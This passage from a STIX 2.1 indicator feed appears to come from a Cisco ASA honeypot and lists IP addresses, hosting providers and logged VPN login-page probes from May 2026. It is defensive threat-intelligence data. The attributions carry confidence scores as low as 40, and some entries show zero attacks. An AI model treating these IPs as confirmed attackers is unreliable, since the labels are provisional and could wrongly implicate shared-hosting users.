          "first_seen": "2026-05-03T11:55:01.244Z",
          "last_seen": "2026-05-29T19:48:25.539Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--cfdac7d8-359b-48dd-8149-63b964c09418",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--5216082d-dda1-4b3f-b71b-5360257e8b88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T16:31:11.438Z",
          "last_seen": "2026-05-29T10:07:09.127Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--5325fb29-3b32-4063-9eec-22cb8e102c5f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T00:34:54.525Z",
          "last_seen": "2026-05-29T03:10:40.002Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--ee243df6-9cd8-4fde-b5ea-b1fd63f064f3",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--3a812563-e953-402c-9871-7b8861e19cc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-03T10:35:57.841Z",
          "last_seen": "2026-05-31T03:19:03.402Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--a4182edc-fe9b-43bd-94d2-048c3258f80c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T10:04:41.904Z",
          "last_seen": "2026-05-31T03:47:16.944Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--cf424b73-4709-42ce-96db-3f6648d9a1bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 20,
          "first_seen": "2026-05-05T10:58:18.719Z",
          "last_seen": "2026-05-27T21:09:15.800Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1546b146-ebb5-4104-94db-ea256370cbe3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T02:44:01.498Z",
          "last_seen": "2026-05-31T04:04:53.414Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c6001d6d-427f-4ded-8c8a-67d5503f0c5f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-06T02:57:56.815Z",
          "last_seen": "2026-05-08T04:27:19.021Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8976eb74-ea6c-4006-9ffe-86229b595c53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-03T03:54:13.319Z",
          "last_seen": "2026-05-25T14:16:50.214Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3460178e-ba02-4a60-a33a-301974a2e007",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T10:37:42.428Z",
          "last_seen": "2026-05-26T16:03:46.634Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b8135773-220a-4ecb-a6b2-06f18c15bcf5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-08T13:24:50.503Z",
          "last_seen": "2026-05-30T05:06:13.185Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--64d219df-3f16-4049-9b73-fe735576a80c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '43.225.189.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T06:23:13.047Z",
          "last_seen": "2026-05-30T09:49:02.016Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6bd6eab1-3caf-4671-9f85-36078403d07a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-02T08:46:53.193Z",
          "last_seen": "2026-05-30T03:55:06.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--b845c759-48e6-4a54-852b-c2409d5fff81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:20:11.000Z",
      "valid_until": "2026-06-02T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T00:59:11.685Z",
          "last_seen": "2026-05-24T03:23:59.514Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--1b2af400-a243-4597-b7a0-b13830d67581",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T07:44:37.681Z",
          "last_seen": "2026-05-26T02:51:59.719Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--939a5723-0c7d-4d0f-b06d-70e8142cd1d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-03T13:07:29.518Z",
          "last_seen": "2026-05-30T11:33:58.817Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--04c73711-348a-4f6f-ba10-d3df864c412d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-10T08:10:28.133Z",
          "last_seen": "2026-05-14T07:52:23.321Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--6442a9c1-72a4-463a-89ce-3d64d4638185",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-09T04:41:27.139Z",
          "last_seen": "2026-05-29T23:11:12.339Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--e6c7180b-19d4-440b-9e71-aab7d4ebc977",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:20:38.000Z",
      "valid_until": "2026-06-02T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T03:28:21.438Z",
          "last_seen": "2026-05-29T13:14:03.435Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T18:20:38.000Z",
